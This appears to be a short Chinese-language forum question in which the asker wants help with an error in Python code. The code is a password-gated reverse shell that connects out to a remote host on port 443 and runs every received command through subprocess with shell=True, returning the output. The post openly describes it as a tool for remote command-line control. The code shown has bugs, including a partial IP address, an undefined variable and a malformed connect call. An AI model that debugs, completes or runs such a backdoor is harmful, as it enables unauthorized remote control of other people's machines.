我之前曾问过类似问题,但这次修复工作不起作用....
Aright,当我使用标记代码时,我得到标题中提到的错误。不知道如何解决它:(。
代码:
import subprocess
import socket
host = (b"192.168")
port = 443
connectie = (host,port)
passwd = (b"TheOnlyCode1_")
def Login():
global s
s.send("Login: ")
pwd = s.recv(1024)
if pwd.strip() != passwd:
Login()
else:
s.send("Verbonden >> ")
Shell()
def Shell():
while True:
data = s.recv(1024)
if data.strip() == stop:
break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.stdout.read() + proc.stderr.read()
s.send(output)
s.send(">> ")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect (host), port
Login()
代码用于创建远程命令行控制的会话。